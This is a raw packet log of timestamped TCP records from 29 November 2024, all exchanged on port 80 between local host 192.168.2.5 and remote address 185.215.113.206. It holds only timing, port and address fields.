Nov 29, 2024 19:49:13.399554968 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.399614096 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.399662971 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.399707079 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.400587082 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.400640011 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.400644064 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.400676012 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.401624918 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.401679993 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.401694059 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.401732922 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.402671099 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.402724028 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.402784109 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.402825117 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.403682947 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.403737068 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.403825045 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.403872967 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.404834986 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.404900074 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.404957056 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.405000925 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.405740023 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.405797958 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.405839920 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.405915976 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.406752110 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.406826973 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.406864882 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.406908035 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.407780886 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.407835960 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.407917023 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.407968044 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.408814907 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.408916950 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.408927917 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.408992052 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.409852982 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.409908056 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.409915924 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.409961939 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.410871983 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.410937071 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.410975933 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.411027908 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.411911011 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.411972046 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.412029028 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.412072897 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.412987947 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.413041115 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.413115978 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.413157940 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.413988113 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.414048910 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.414088011 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.414136887 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.415014029 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.415070057 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.415107965 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.415150881 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.416030884 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.416091919 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.416102886 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.416146040 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.417056084 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.417109013 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.417201042 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.417247057 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.418119907 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.418180943 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.418214083 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.418256998 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.419142962 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.419202089 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.419215918 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.419258118 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.454438925 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.454504013 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.454602003 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.454662085 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.454838991 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.454879999 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.455056906 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.455104113 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.455169916 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.455214024 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.455832958 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.455882072 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.455967903 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.456012011 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.456042051 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.456088066 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.456897020 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.456943035 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.456985950 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.456996918 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.457030058 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.457041979 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.457571983 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.457619905 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.457628012 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.457670927 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.458321095 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.458369970 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.458420992 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.458462000 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.458966017 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.459013939 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.459050894 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.459093094 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.459891081 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.459939003 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.459981918 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.460033894 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.460836887 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.460895061 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.460947990 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.460994959 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.461771011 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.461813927 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.461904049 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.461942911 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.462809086 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.462860107 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.462935925 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.462975025 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.463613033 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.463654995 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.463737011 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.463783979 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.464540958 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.464596033 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.464626074 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.464669943 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.465471029 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.465522051 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.465590954 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.465631962 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.466402054 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.466445923 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.466525078 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.466593027 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.467340946 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.467396021 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.467459917 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.467504025 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.468257904 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.468301058 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.468303919 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.468350887 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.482373953 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.482460976 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.482625008 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.482636929 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.482686043 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.482728958 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.482783079 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.483515978 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.483576059 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.484107971 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.484152079 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.484460115 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.484472036 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.484503031 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.484524012 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.517512083 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.517596006 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.517640114 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.517683029 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.517999887 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.518048048 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.518107891 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.518151999 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.518933058 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.518978119 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.519073009 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.519120932 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.519831896 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.519882917 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.577987909 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.578062057 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.578107119 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.578107119 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.578447104 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.578497887 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.578543901 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.578596115 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.579430103 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.579489946 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.579546928 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.579595089 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.580254078 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.580301046 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.582454920 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.582516909 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.582690001 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.582751036 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.583007097 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.583056927 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.583149910 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.583199024 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.583848953 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.583894014 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.584031105 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.584083080 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.584795952 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.584847927 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.584865093 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.584908009 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.585716009 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.585768938 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.585834980 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.585885048 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.586635113 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.586679935 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.586755037 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.586802006 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.587583065 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.587636948 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.587673903 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.587723970 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.588514090 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.588563919 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.588582993 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.588628054 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.589430094 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.589517117 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.589555979 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.589608908 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.590356112 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.590409040 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.590471983 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.590519905 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.591291904 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.591351032 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.591391087 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.591440916 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.592231035 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.592283964 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.592339039 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.592386961 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.593180895 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.593234062 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.593308926 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.593354940 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.594079971 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.594129086 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.594254017 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.594302893 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.595072031 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.595120907 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.595163107 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.595210075 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.595937014 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.595985889 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.596050978 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.596097946 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.596920967 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.596966982 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.597038984 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.597086906 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.597832918 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.597877979 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.597898006 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.597942114 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.598723888 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.598774910 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.598839998 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.598879099 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.599682093 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.599736929 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.599853992 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.599903107 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.600598097 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.600652933 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.600718975 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.600755930 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.601520061 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.601578951 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.601649046 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.601694107 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.602993965 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.603043079 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.603113890 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.603163958 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.604032040 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.604080915 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.604146957 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.604192019 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.604331017 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.604379892 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.604517937 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.604566097 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.605237007 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.605288029 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.605371952 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.605417013 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.606189966 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.606239080 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.606275082 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.606312990 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.607125044 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.607176065 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.607247114 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.607292891 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.608043909 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.608093023 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.608208895 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.608253956 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.608932018 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.608999968 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.609076977 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.609123945 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.609822035 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.609877110 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.648780107 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.648861885 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.648875952 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.648919106 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.649179935 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.649225950 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.649343967 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.649386883 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.650046110 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.650084972 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.650165081 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.650233030 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.650851965 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.650901079 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.651196003 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.651242018 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.651334047 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.651380062 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.652049065 CET	80	49704	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:13.652100086 CET	49704	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:13.652187109 CET	80	49704	185.215.113.206	192.168.2.5
